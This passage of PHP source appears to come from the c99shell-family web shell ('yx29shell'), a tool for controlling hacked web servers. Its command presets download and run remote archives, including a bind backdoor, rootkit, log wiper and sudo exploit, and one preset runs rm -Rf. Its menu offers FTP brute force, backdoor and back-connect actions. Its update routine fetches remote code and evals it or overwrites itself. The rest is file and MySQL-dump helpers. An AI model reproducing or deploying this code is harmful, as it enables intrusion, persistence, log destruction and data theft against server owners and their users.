736 "wget " . $sh_mainurl . "psy.tar.gz;tar -zxf psy.tar.gz;cd .psy;./config 2020;./fuck;perl psy;./run"
737 ),
738 array(
739 "wget & extract EggDrop",
740 "wget " . $sh_mainurl . "httpd.tar.gz;tar -zxf httpd.tar.gz"
741 ),
742 array(
743 "-----",
744 ""
745 ),
746 array(
747 "Logged in users",
748 "w"
749 ),
750 array(
751 "Last to connect",
752 "lastlog"
753 ),
754 array(
755 "Find Suid bins",
756 "find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"
757 ),
758 array(
759 "User Without Password",
760 "cut -d: -f1,2,3 /etc/passwd | grep ::"
761 ),
762 array(
763 "Can write in /etc/?",
764 "find /etc/ -type f -perm -o+w 2> /dev/null"
765 ),
766 array(
767 "Downloaders?",
768 "which wget curl w3m lynx fetch lwp-download"
769 ),
770 array(
771 "CPU Info",
772 "cat /proc/version /proc/cpuinfo"
773 ),
774 array(
775 "Is gcc installed ?",
776 "locate gcc"
777 ),
778 array(
779 "Format box (DANGEROUS)",
780 "rm -Rf"
781 ),
782 array(
783 "-----",
784 ""
785 ),
786 array(
787 "wget WIPELOGS PT1",
788 "wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"
789 ),
790 array(
791 "gcc WIPELOGS PT2",
792 "gcc zap2.c -o zap2"
793 ),
794 array(
795 "Run WIPELOGS PT3",
796 "./zap2"
797 ),
798 array(
799 "-----",
800 ""
801 ),
802 array(
803 "wget RatHole 1.2 (Linux & BSD)",
804 "wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"
805 ),
806 array(
807 "wget & run BindDoor",
808 "wget " . $sh_mainurl . "tool/bind.tar.gz;tar -zxvf bind.tar.gz;./4877"
809 ),
810 array(
811 "wget Sudo Exploit",
812 "wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"
813 )
814 );
815} else {
816 $cmdaliases = array(
817 array(
818 "",
819 "dir"
820 ),
821 array(
822 "Find index.php in current dir",
823 "dir /s /w /b index.php"
824 ),
825 array(
826 "Find *config*.php in current dir",
827 "dir /s /w /b *config*.php"
828 ),
829 array(
830 "Find c99shell in current dir",
831 "find /c \"c99\" *"
832 ),
833 array(
834 "Find r57shell in current dir",
835 "find /c \"r57\" *"
836 ),
837 array(
838 "Show active connections",
839 "netstat -an"
840 ),
841 array(
842 "Show running services",
843 "net start"
844 ),
845 array(
846 "User accounts",
847 "net user"
848 ),
849 array(
850 "Show computers",
851 "net view"
852 )
853 );
854}
855//PHP Filesystem Functions, TeamHack TriCkz
856$phpfsaliases = array(
857 array(
858 "Read File",
859 "read"
860 ),
861 array(
862 "Write File (PHP5)",
863 "write"
864 ),
865 array(
866 "Copy",
867 "copy"
868 ),
869 array(
870 "Rename/Move",
871 "rename"
872 ),
873 array(
874 "Delete",
875 "delete"
876 ),
877 array(
878 "Make Dir",
879 "mkdir"
880 ),
881 array(
882 "-----",
883 ""
884 ),
885 array(
886 "Download",
887 "download"
888 ),
889 array(
890 "Download (Binary Safe)",
891 "downloadbin"
892 ),
893 array(
894 "Change Perm (0755)",
895 "chmod"
896 ),
897 array(
898 "Find Writable Dir",
899 "fwritabledir"
900 ),
901 array(
902 "Find Pathname Pattern",
903 "glob"
904 )
905);
906//Quick launch
907$quicklaunch1 = array(
908 array(
909 "<img src=\"" . $surl . "act=img&img=home\" alt=\"Home\" border=\"0\">",
910 $surl
911 ),
912 array(
913 "<img src=\"" . $surl . "act=img&img=back\" alt=\"Back\" border=\"0\">",
914 "#\" onclick=\"history.back(1)"
915 ),
916 array(
917 "<img src=\"" . $surl . "act=img&img=forward\" alt=\"Forward\" border=\"0\">",
918 "#\" onclick=\"history.go(1)"
919 ),
920 array(
921 "<img src=\"" . $surl . "act=img&img=up\" alt=\"Up\" border=\"0\">",
922 $surl . "act=ls&d=%upd&sort=%sort"
923 ),
924 array(
925 "<img src=\"" . $surl . "act=img&img=search\" alt=\"Search\" border=\"0\">",
926 $surl . "act=search&d=%d"
927 ),
928 array(
929 "<img src=\"" . $surl . "act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",
930 $surl . "act=fsbuff&d=%d"
931 )
932);
933$quicklaunch2 = array(
934 array(
935 "Enumerate",
936 $enumerate
937 ),
938 array(
939 "Security Info",
940 $surl . "act=security&d=%d"
941 ),
942 array(
943 "Processes",
944 $surl . "act=processes&d=%d"
945 ),
946 array(
947 "MySQL",
948 $surl . "act=sql&d=%d"
949 ),
950 array(
951 "PHP-Code",
952 $surl . "act=eval&d=%d"
953 ),
954 array(
955 "Encoder",
956 $surl . "act=encoder&d=%d"
957 ),
958 array(
959 "Mailer",
960 $surl . "act=yxmailer"
961 ),
962 array(
963 "Md5-Lookup",
964 "http://darkc0de.com/database/md5lookup.html"
965 ),
966 array(
967 "Word-Lists",
968 "http://darkc0de.com/wordlists/"
969 ),
970 array(
971 "Toolz",
972 $surl . "act=tools&d=%d"
973 ),
974 array(
975 "Self-Kill",
976 $surl . "act=selfremove"
977 ),
978 array(
979 "Feedback",
980 $surl . "act=feedback"
981 ),
982 array(
983 "Update",
984 $surl . "act=update"
985 ),
986 array(
987 "About",
988 $surl . "act=about"
989 )
990);
991if (!$win) {
992 $quicklaunch2[] = array(
993 "<br>FTP-Brute",
994 $surl . "act=ftpquickbrute&d=%d"
995 );
996 $quicklaunch2[] = array(
997 "Backdoor",
998 $surl . "act=shbd"
999 );
1000 $quicklaunch2[] = array(
1001 "Back-Connect",
1002 $surl . "act=backc"
1003 );
1004}
1005//Highlight-code colors
1006$highlight_background = "#C0C0C0";
1007$highlight_bg = "#FFFFFF";
1008$highlight_comment = "#6A6A6A";
1009$highlight_default = "#0000BB";
1010$highlight_html = "#1300FF";
1011$highlight_keyword = "#007700";
1012$highlight_string = "#000000";
1013@$f = $_REQUEST["f"];
1014@extract($_REQUEST["c99shcook"]);
1015//END OF CONFIGURATIONS
1016//STOP EDITING!
1017//Authentication
1018@set_time_limit(0);
1019$tmp = array();
1020foreach ($host_allow as $k => $v) {
1021 $tmp[] = str_replace("\\*", ".*", preg_quote($v));
1022}
1023$s = "!^(" . implode("|", $tmp) . ")$!i";
1024if (!preg_match($s, getenv("REMOTE_ADDR")) and !preg_match($s, gethostbyaddr(getenv("REMOTE_ADDR")))) {
1025 exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (" . getenv("REMOTE_ADDR") . ") not allowed");
1026}
1027if (!empty($login)) {
1028 if (empty($md5_pass)) {
1029 $md5_pass = md5($pass);
1030 }
1031 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
1032 header("WWW-Authenticate: Basic realm=\"" . $sh_name . ": " . $login_txt . "\"");
1033 header("HTTP/1.0 401 Unauthorized");
1034 exit($accessdeniedmess);
1035 }
1036}
1037if ($act != "img") {
1038 $lastdir = realpath(".");
1039 chdir($curdir);
1040 if ($selfwrite or $updatenow) {
1041 @ob_clean();
1042 c99sh_getupdate($selfwrite, 1);
1043 exit;
1044 }
1045 $sess_data = unserialize($_COOKIE["$sess_cookie"]);
1046 if (!is_array($sess_data)) {
1047 $sess_data = array();
1048 }
1049 if (!is_array($sess_data["copy"])) {
1050 $sess_data["copy"] = array();
1051 }
1052 if (!is_array($sess_data["cut"])) {
1053 $sess_data["cut"] = array();
1054 }
1055 if (!function_exists("c99getsource")) {
1056 function c99getsource($fn)
1057 {
1058 global $c99sh_sourcesurl;
1059 $array = array(
1060 "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
1061 "c99sh_bindport.c" => "c99sh_bindport_c.txt",
1062 "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
1063 "c99sh_backconn.c" => "c99sh_backconn_c.txt",
1064 "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
1065 "c99sh_datapipe.c" => "c99sh_datapipe_c.txt"
1066 );
1067 $name = $array[$fn];
1068 if ($name) {
1069 return file_get_contents($c99sh_sourcesurl . $name);
1070 } else {
1071 return FALSE;
1072 }
1073 }
1074 }
1075 if (!function_exists("c99sh_getupdate")) {
1076 function c99sh_getupdate($update = TRUE)
1077 {
1078 $url = $GLOBALS["c99sh_updateurl"] . "?version=" . urlencode(base64_encode($GLOBALS["sh_ver"])) . "&updatenow=" . ($updatenow ? "1" : "0");
1079 $data = @file_get_contents($url);
1080 if (!$data) {
1081 return "Can't connect to update-server!";
1082 } else {
1083 $data = ltrim($data);
1084 $string = substr($data, 3, ord($data{2}));
1085 if ($data{0} == "\x99" and $data{1} == "\x01") {
1086 return "Error: " . $string;
1087 return FALSE;
1088 }
1089 if ($data{0} == "\x99" and $data{1} == "\x02") {
1090 return "You are using latest version!";
1091 }
1092 if ($data{0} == "\x99" and $data{1} == "\x03") {
1093 $string = explode("|", $string);
1094 if ($update) {
1095 $confvars = array();
1096 $sourceurl = $string[0];
1097 $source = file_get_contents($sourceurl);
1098 if (!$source) {
1099 return "Can't fetch update!";
1100 } else {
1101 $fp = fopen(__FILE__, "w");
1102 if (!$fp) {
1103 return "Local error: can't write update to " . __FILE__ . "! You may download yx29shell.php manually <a href=\"" . $sourceurl . "\"><u>here</u></a>.";
1104 } else {
1105 fwrite($fp, $source);
1106 fclose($fp);
1107 return "Thanks! Update completed.";
1108 }
1109 }
1110 } else {
1111 return "New version are available: " . $string[1];
1112 }
1113 } elseif ($data{0} == "\x99" and $data{1} == "\x04") {
1114 eval($string);
1115 return 1;
1116 } else {
1117 return "Error in protocol: segmentation failed! (" . $data . ") ";
1118 }
1119 }
1120 }
1121 }
1122 if (!function_exists("c99_buff_prepare")) {
1123 function c99_buff_prepare()
1124 {
1125 global $sess_data;
1126 global $act;
1127 foreach ($sess_data["copy"] as $k => $v) {
1128 $sess_data["copy"][$k] = str_replace("\\", DIRECTORY_SEPARATOR, realpath($v));
1129 }
1130 foreach ($sess_data["cut"] as $k => $v) {
1131 $sess_data["cut"][$k] = str_replace("\\", DIRECTORY_SEPARATOR, realpath($v));
1132 }
1133 $sess_data["copy"] = array_unique($sess_data["copy"]);
1134 $sess_data["cut"] = array_unique($sess_data["cut"]);
1135 sort($sess_data["copy"]);
1136 sort($sess_data["cut"]);
1137 if ($act != "copy") {
1138 foreach ($sess_data["cut"] as $k => $v) {
1139 if ($sess_data["copy"][$k] == $v) {
1140 unset($sess_data["copy"][$k]);
1141 }
1142 }
1143 } else {
1144 foreach ($sess_data["copy"] as $k => $v) {
1145 if ($sess_data["cut"][$k] == $v) {
1146 unset($sess_data["cut"][$k]);
1147 }
1148 }
1149 }
1150 }
1151 }
1152 c99_buff_prepare();
1153 if (!function_exists("c99_sess_put")) {
1154 function c99_sess_put($data)
1155 {
1156 global $sess_cookie;
1157 global $sess_data;
1158 c99_buff_prepare();
1159 $sess_data = $data;
1160 $data = serialize($data);
1161 setcookie($sess_cookie, $data);
1162 }
1163 }
1164 foreach (array(
1165 "sort",
1166 "sql_sort"
1167 ) as $v) {
1168 if (!empty($_GET[$v])) {
1169 $$v = $_GET[$v];
1170 }
1171 if (!empty($_POST[$v])) {
1172 $$v = $_POST[$v];
1173 }
1174 }
1175 if ($sort_save) {
1176 if (!empty($sort)) {
1177 setcookie("sort", $sort);
1178 }
1179 if (!empty($sql_sort)) {
1180 setcookie("sql_sort", $sql_sort);
1181 }
1182 }
1183 if (!function_exists("str2mini")) {
1184 function str2mini($content, $len)
1185 {
1186 if (strlen($content) > $len) {
1187 $len = ceil($len / 2) - 2;
1188 return substr($content, 0, $len) . "..." . substr($content, -$len);
1189 } else {
1190 return $content;
1191 }
1192 }
1193 }
1194 if (!function_exists("view_size")) {
1195 function view_size($size)
1196 {
1197 if (!is_numeric($size)) {
1198 return FALSE;
1199 } else {
1200 if ($size >= 1073741824) {
1201 $size = round($size / 1073741824 * 100) / 100 . " GB";
1202 } elseif ($size >= 1048576) {
1203 $size = round($size / 1048576 * 100) / 100 . " MB";
1204 } elseif ($size >= 1024) {
1205 $size = round($size / 1024 * 100) / 100 . " KB";
1206 } else {
1207 $size = $size . " B";
1208 }
1209 return $size;
1210 }
1211 }
1212 }
1213 if (!function_exists("fs_copy_dir")) {
1214 function fs_copy_dir($d, $t)
1215 {
1216 $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
1217 if (substr($d, -1) != DIRECTORY_SEPARATOR) {
1218 $d .= DIRECTORY_SEPARATOR;
1219 }
1220 $h = opendir($d);
1221 while (($o = readdir($h)) !== FALSE) {
1222 if (($o != ".") and ($o != "..")) {
1223 if (!is_dir($d . DIRECTORY_SEPARATOR . $o)) {
1224 $ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
1225 } else {
1226 $ret = mkdir($t . DIRECTORY_SEPARATOR . $o);
1227 fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
1228 }
1229 if (!$ret) {
1230 return $ret;
1231 }
1232 }
1233 }
1234 closedir($h);
1235 return TRUE;
1236 }
1237 }
1238 if (!function_exists("fs_copy_obj")) {
1239 function fs_copy_obj($d, $t)
1240 {
1241 $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
1242 $t = str_replace("\\", DIRECTORY_SEPARATOR, $t);
1243 if (!is_dir(dirname($t))) {
1244 mkdir(dirname($t));
1245 }
1246 if (is_dir($d)) {
1247 if (substr($d, -1) != DIRECTORY_SEPARATOR) {
1248 $d .= DIRECTORY_SEPARATOR;
1249 }
1250 if (substr($t, -1) != DIRECTORY_SEPARATOR) {
1251 $t .= DIRECTORY_SEPARATOR;
1252 }
1253 return fs_copy_dir($d, $t);
1254 } elseif (is_file($d)) {
1255 return copy($d, $t);
1256 } else {
1257 return FALSE;
1258 }
1259 }
1260 }
1261 if (!function_exists("fs_move_dir")) {
1262 function fs_move_dir($d, $t)
1263 {
1264 $h = opendir($d);
1265 if (!is_dir($t)) {
1266 mkdir($t);
1267 }
1268 while (($o = readdir($h)) !== FALSE) {
1269 if (($o != ".") and ($o != "..")) {
1270 $ret = TRUE;
1271 if (!is_dir($d . DIRECTORY_SEPARATOR . $o)) {
1272 $ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
1273 } else {
1274 if (mkdir($t . DIRECTORY_SEPARATOR . $o) and fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o)) {
1275 $ret = FALSE;
1276 }
1277 }
1278 if (!$ret) {
1279 return $ret;
1280 }
1281 }
1282 }
1283 closedir($h);
1284 return TRUE;
1285 }
1286 }
1287 if (!function_exists("fs_move_obj")) {
1288 function fs_move_obj($d, $t)
1289 {
1290 $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
1291 $t = str_replace("\\", DIRECTORY_SEPARATOR, $t);
1292 if (is_dir($d)) {
1293 if (substr($d, -1) != DIRECTORY_SEPARATOR) {
1294 $d .= DIRECTORY_SEPARATOR;
1295 }
1296 if (substr($t, -1) != DIRECTORY_SEPARATOR) {
1297 $t .= DIRECTORY_SEPARATOR;
1298 }
1299 return fs_move_dir($d, $t);
1300 } elseif (is_file($d)) {
1301 if (copy($d, $t)) {
1302 return unlink($d);
1303 } else {
1304 unlink($t);
1305 return FALSE;
1306 }
1307 } else {
1308 return FALSE;
1309 }
1310 }
1311 }
1312 if (!function_exists("fs_rmdir")) {
1313 function fs_rmdir($d)
1314 {
1315 $h = opendir($d);
1316 while (($o = readdir($h)) !== FALSE) {
1317 if (($o != ".") and ($o != "..")) {
1318 if (!is_dir($d . $o)) {
1319 unlink($d . $o);
1320 } else {
1321 fs_rmdir($d . $o . DIRECTORY_SEPARATOR);
1322 rmdir($d . $o);
1323 }
1324 }
1325 }
1326 closedir($h);
1327 rmdir($d);
1328 return !is_dir($d);
1329 }
1330 }
1331 if (!function_exists("fs_rmobj")) {
1332 function fs_rmobj($o)
1333 {
1334 $o = str_replace("\\", DIRECTORY_SEPARATOR, $o);
1335 if (is_dir($o)) {
1336 if (substr($o, -1) != DIRECTORY_SEPARATOR) {
1337 $o .= DIRECTORY_SEPARATOR;
1338 }
1339 return fs_rmdir($o);
1340 } elseif (is_file($o)) {
1341 return unlink($o);
1342 } else {
1343 return FALSE;
1344 }
1345 }
1346 }
1347 if (!function_exists("tabsort")) {
1348 function tabsort($a, $b)
1349 {
1350 global $v;
1351 return strnatcmp($a[$v], $b[$v]);
1352 }
1353 }
1354 if (!function_exists("view_perms")) {
1355 function view_perms($mode)
1356 {
1357 if (($mode & 0xC000) === 0xC000) {
1358 $type = "s";
1359 } elseif (($mode & 0x4000) === 0x4000) {
1360 $type = "d";
1361 } elseif (($mode & 0xA000) === 0xA000) {
1362 $type = "l";
1363 } elseif (($mode & 0x8000) === 0x8000) {
1364 $type = "-";
1365 } elseif (($mode & 0x6000) === 0x6000) {
1366 $type = "b";
1367 } elseif (($mode & 0x2000) === 0x2000) {
1368 $type = "c";
1369 } elseif (($mode & 0x1000) === 0x1000) {
1370 $type = "p";
1371 } else {
1372 $type = "?";
1373 }
1374 $owner["read"] = ($mode & 00400) ? "r" : "-";
1375 $owner["write"] = ($mode & 00200) ? "w" : "-";
1376 $owner["execute"] = ($mode & 00100) ? "x" : "-";
1377 $group["read"] = ($mode & 00040) ? "r" : "-";
1378 $group["write"] = ($mode & 00020) ? "w" : "-";
1379 $group["execute"] = ($mode & 00010) ? "x" : "-";
1380 $world["read"] = ($mode & 00004) ? "r" : "-";
1381 $world["write"] = ($mode & 00002) ? "w" : "-";
1382 $world["execute"] = ($mode & 00001) ? "x" : "-";
1383 if ($mode & 0x800) {
1384 $owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";
1385 }
1386 if ($mode & 0x400) {
1387 $group["execute"] = ($group["execute"] == "x") ? "s" : "S";
1388 }
1389 if ($mode & 0x200) {
1390 $world["execute"] = ($world["execute"] == "x") ? "t" : "T";
1391 }
1392 return $type . join("", $owner) . join("", $group) . join("", $world);
1393 }
1394 }
1395 if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid", $disablefunc)) {
1396 function posix_getpwuid($uid)
1397 {
1398 return FALSE;
1399 }
1400 }
1401 if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid", $disablefunc)) {
1402 function posix_getgrgid($gid)
1403 {
1404 return FALSE;
1405 }
1406 }
1407 if (!function_exists("posix_kill") and !in_array("posix_kill", $disablefunc)) {
1408 function posix_kill($gid)
1409 {
1410 return FALSE;
1411 }
1412 }
1413 if (!function_exists("parse_perms")) {
1414 function parse_perms($mode)
1415 {
1416 if (($mode & 0xC000) === 0xC000) {
1417 $t = "s";
1418 } elseif (($mode & 0x4000) === 0x4000) {
1419 $t = "d";
1420 } elseif (($mode & 0xA000) === 0xA000) {
1421 $t = "l";
1422 } elseif (($mode & 0x8000) === 0x8000) {
1423 $t = "-";
1424 } elseif (($mode & 0x6000) === 0x6000) {
1425 $t = "b";
1426 } elseif (($mode & 0x2000) === 0x2000) {
1427 $t = "c";
1428 } elseif (($mode & 0x1000) === 0x1000) {
1429 $t = "p";
1430 } else {
1431 $t = "?";
1432 }
1433 $o["r"] = ($mode & 00400) > 0;
1434 $o["w"] = ($mode & 00200) > 0;
1435 $o["x"] = ($mode & 00100) > 0;
1436 $g["r"] = ($mode & 00040) > 0;
1437 $g["w"] = ($mode & 00020) > 0;
1438 $g["x"] = ($mode & 00010) > 0;
1439 $w["r"] = ($mode & 00004) > 0;
1440 $w["w"] = ($mode & 00002) > 0;
1441 $w["x"] = ($mode & 00001) > 0;
1442 return array(
1443 "t" => $t,
1444 "o" => $o,
1445 "g" => $g,
1446 "w" => $w
1447 );
1448 }
1449 }
1450 if (!function_exists("parsesort")) {
1451 function parsesort($sort)
1452 {
1453 $one = intval($sort);
1454 $second = substr($sort, -1);
1455 if ($second != "d") {
1456 $second = "a";
1457 }
1458 return array(
1459 $one,
1460 $second
1461 );
1462 }
1463 }
1464 if (!function_exists("view_perms_color")) {
1465 function view_perms_color($o)
1466 {
1467 if (!is_readable($o)) {
1468 return "<font color=red>" . view_perms(fileperms($o)) . "</font>";
1469 } elseif (!is_writable($o)) {
1470 return "<font color=white>" . view_perms(fileperms($o)) . "</font>";
1471 } else {
1472 return "<font color=green>" . view_perms(fileperms($o)) . "</font>";
1473 }
1474 }
1475 }
1476 if (!function_exists("mysql_dump")) {
1477 function mysql_dump($set)
1478 {
1479 global $sh_ver;
1480 $sock = $set["sock"];
1481 $db = $set["db"];
1482 $print = $set["print"];
1483 $nl2br = $set["nl2br"];
1484 $file = $set["file"];
1485 $add_drop = $set["add_drop"];
1486 $tabs = $set["tabs"];
1487 $onlytabs = $set["onlytabs"];
1488 $ret = array();
1489 $ret["err"] = array();
1490 if (!is_resource($sock)) {
1491 echo ("Error: \$sock is not valid resource.");
1492 }
1493 if (empty($db)) {
1494 $db = "db";
1495 }
1496 if (empty($print)) {
1497 $print = 0;
1498 }
1499 if (empty($nl2br)) {
1500 $nl2br = 0;
1501 }
1502 if (empty($add_drop)) {
1503 $add_drop = TRUE;
1504 }
1505 if (empty($file)) {
1506 $file = $tmpdir . "dump_" . getenv("SERVER_NAME") . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
1507 }
1508 if (!is_array($tabs)) {
1509 $tabs = array();
1510 }
1511 if (empty($add_drop)) {
1512 $add_drop = TRUE;
1513 }
1514 if (sizeof($tabs) == 0) {
1515 //Retrieve tables-list
1516 $res = mysql_query("SHOW TABLES FROM " . $db, $sock);
1517 if (mysql_num_rows($res) > 0) {
1518 while ($row = mysql_fetch_row($res)) {
1519 $tabs[] = $row[0];
1520 }
1521 }
1522 }
1523 $out = "
1524# Dumped by " . $sh_name . "
1525#
1526# Host settings:
1527# MySQL version: (" . mysql_get_server_info() . ") running on " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ")" . "
1528# Date: " . date("d.m.Y H:i:s") . "
1529# DB: \"" . $db . "\"
1530#---------------------------------------------------------";
1531 $c = count($onlytabs);
1532 foreach ($tabs as $tab) {
1533 if ((in_array($tab, $onlytabs)) or (!$c)) {
1534 if ($add_drop) {
1535 $out .= "DROP TABLE IF EXISTS `" . $tab . "`;\n";
1536 }
1537 //Receieve query for create table structure
1538 $res = mysql_query("SHOW CREATE TABLE `" . $tab . "`", $sock);
1539 if (!$res) {
1540 $ret["err"][] = mysql_smarterror();
1541 } else {
1542 $row = mysql_fetch_row($res);
1543 $out .= $row["1"] . ";\n\n";
1544 //Receieve table variables
1545 $res = mysql_query("SELECT * FROM `$tab`", $sock);
1546 if (mysql_num_rows($res) > 0) {
1547 while ($row = mysql_fetch_assoc($res)) {
1548 $keys = implode("`, `", array_keys($row));
1549 $values = array_values($row);
1550 foreach ($values as $k => $v) {
1551 $values[$k] = addslashes($v);
1552 }
1553 $values = implode("', '", $values);
1554 $sql = "INSERT INTO `$tab`(`" . $keys . "`) VALUES ('" . $values . "');\n";
1555 $out .= $sql;
1556 }
1557 }
1558 }
1559 }
1560 }
1561 $out .= "#---------------------------------------------------------------------------------\n\n";
1562 if ($file) {
1563 $fp = fopen($file, "w");
1564 if (!$fp) {
1565 $ret["err"][] = 2;
1566 } else {
1567 fwrite($fp, $out);
1568 fclose($fp);
1569 }
1570 }
1571 if ($print) {
1572 if ($nl2br) {
1573 echo nl2br($out);
1574 } else {
1575 echo $out;
1576 }
1577 }
1578 return $out;
1579 }
1580 }
1581 if (!function_exists("mysql_buildwhere")) {
1582 function mysql_buildwhere($array, $sep = " and", $functs = array())
1583 {
1584 if (!is_array($array)) {
1585 $array = array();
1586 }
1587 $result = "";
1588 foreach ($array as $k => $v) {
1589 $value = "";
1590 if (!empty($functs[$k])) {
1591 $value .= $functs[$k] . "(";
1592 }
1593 $value .= "'" . addslashes($v) . "'";
1594 if (!empty($functs[$k])) {
1595 $value .= ")";
1596 }
1597 $result .= "`" . $k . "` = " . $value . $sep;
1598 }
1599 $result = substr($result, 0, strlen($result) - strlen($sep));
1600 return $result;
1601 }
1602 }
1603 if (!function_exists("mysql_fetch_all")) {
1604 function mysql_fetch_all($query, $sock)
1605 {
1606 if ($sock) {
1607 $result = mysql_query($query, $sock);
1608 } else {
1609 $result = mysql_query($query);
1610 }
1611 $array = array();
1612 while ($row = mysql_fetch_array($result)) {
1613 $array[] = $row;
1614 }
1615 mysql_free_result($result);
1616 return $array;
1617 }
1618 }
1619 if (!function_exists("mysql_smarterror")) {
1620 function mysql_smarterror($type, $sock)
1621 {
1622 if ($sock) {
1623 $error = mysql_error($sock);
1624 } else {
1625 $error = mysql_error();
1626 }
1627 $error = htmlspecialchars($error);
1628 return $error;
1629 }
1630 }
1631 if (!function_exists("mysql_query_form")) {
1632 function mysql_query_form()
1633 {
1634 global $submit, $sql_act, $sql_query, $sql_query_result, $sql_confirm, $sql_query_error, $tbl_struct;
1635 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {
1636 if (!$sql_query_error) {
1637 $sql_query_error = "Query was empty";
1638 }
1639 echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
1640 }
1641 if ($sql_query_result or (!$sql_confirm)) {
1642 $sql_act = $sql_goto;
1643 }
1644 if ((!$submit) or ($sql_act)) {
1645 echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>";
1646 if (($sql_query) and (!$submit)) {
1647 echo "Do you really want to";
1648 } else {
1649 echo "SQL-Query";
1650 }
1651 echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
1652 if ($tbl_struct) {
1653 echo "<td valign=\"top\"><b>Fields:</b><br>";
1654 foreach ($tbl_struct as $field) {
1655 $name = $field["Field"];
1656 echo "+ <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`" . $name . "`';\"><b>" . $name . "</b></a><br>";
1657 }
1658 echo "</td></tr></table>";
1659 }
1660 }
1661 if ($sql_query_result or (!$sql_confirm)) {
1662 $sql_query = $sql_last_query;
1663 }
1664 }
1665 }
1666 if (!function_exists("mysql_create_db")) {
1667 function mysql_create_db($db, $sock = "")
1668 {
1669 $sql = "CREATE DATABASE `" . addslashes($db) . "`;";
1670 if ($sock) {
1671 return mysql_query($sql, $sock);
1672 } else {
1673 return mysql_query($sql);
1674 }
1675 }
1676 }
1677 if (!function_exists("mysql_query_parse")) {
1678 function mysql_query_parse($query)
1679 {
1680 $query = trim($query);
1681 $arr = explode(" ", $query);
1682 $types = array(
1683 "SELECT" => array(
1684 3,
1685 1
1686 ),
1687 "SHOW" => array(
1688 2,
1689 1
1690 ),
1691 "DELETE" => array(
1692 1
1693 ),
1694 "DROP" => array(
1695 1
1696 )
1697 );
1698 $result = array();
1699 $op = strtoupper($arr[0]);
1700 if (is_array($types[$op])) {
1701 $result["propertions"] = $types[$op];
1702 $result["query"] = $query;
1703 if ($types[$op] == 2) {
1704 foreach ($arr as $k => $v) {
1705 if (strtoupper($v) == "LIMIT") {
1706 $result["limit"] = $arr[$k + 1];
1707 $result["limit"] = explode(",", $result["limit"]);
1708 if (count($result["limit"]) == 1) {
1709 $result["limit"] = array(
1710 0,
1711 $result["limit"][0]
1712 );
1713 }
1714 unset($arr[$k], $arr[$k + 1]);
1715 }
1716 }
1717 }
1718 } else {
1719 return FALSE;
1720 }
1721 }
1722 }
1723 if (!function_exists("c99fsearch")) {
1724 function c99fsearch($d)
1725 {
1726 global $found;
1727 global $found_d;
1728 global $found_f;
1729 global $search_i_f;
1730 global $search_i_d;
1731 global $a;
1732 if (substr($d, -1) != DIRECTORY_SEPARATOR) {
1733 $d .= DIRECTORY_SEPARATOR;
1734 }
1735 $h = opendir($d);
1736 while (($f = readdir($h)) !== FALSE) {
1737 if ($f != "." && $f != "..") {
1738 $bool = (empty($a["name_regexp"]) and strpos($f, $a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"], $f));
1739 if (is_dir($d . $f)) {
1740 $search_i_d++;
1741 if (empty($a["text"]) and $bool) {
1742 $found[] = $d . $f;
1743 $found_d++;
1744 }
1745 if (!is_link($d . $f)) {
1746 c99fsearch($d . $f);
1747 }
1748 } else {
1749 $search_i_f++;
1750 if ($bool) {
1751 if (!empty($a["text"])) {
1752 $r = @file_get_contents($d . $f);
1753 if ($a["text_wwo"]) {
1754 $a["text"] = " " . trim($a["text"]) . " ";
1755 }
1756 if (!$a["text_cs"]) {
1757 $a["text"] = strtolower($a["text"]);
1758 $r = strtolower($r);
1759 }
1760 if ($a["text_regexp"]) {
1761 $bool = ereg($a["text"], $r);
1762 } else {
1763 $bool = strpos(" " . $r, $a["text"], 1);
1764 }
1765 if ($a["text_not"]) {
1766 $bool = !$bool;
1767 }
1768 if ($bool) {
1769 $found[] = $d . $f;
1770 $found_f++;
1771 }
1772 } else {
1773 $found[] = $d . $f;
1774 $found_f++;
1775 }
1776 }
1777 }
1778 }
1779 }
1780 closedir($h);
1781 }
1782 }
1783 if ($act == "gofile") {
1784 if (is_dir($f)) {
1785 $act = "ls";
1786 $d = $f;
1787 } else {
1788 $act = "f";
1789 $d = dirname($f);
1790 $f = basename($f);
1791 }
1792 }
1793 //Sending Headers
1794 @ob_start();
1795 @ob_implicit_flush(0);
1796 function onphpshutdown()
1797 {
1798 global $gzipencode, $ft;
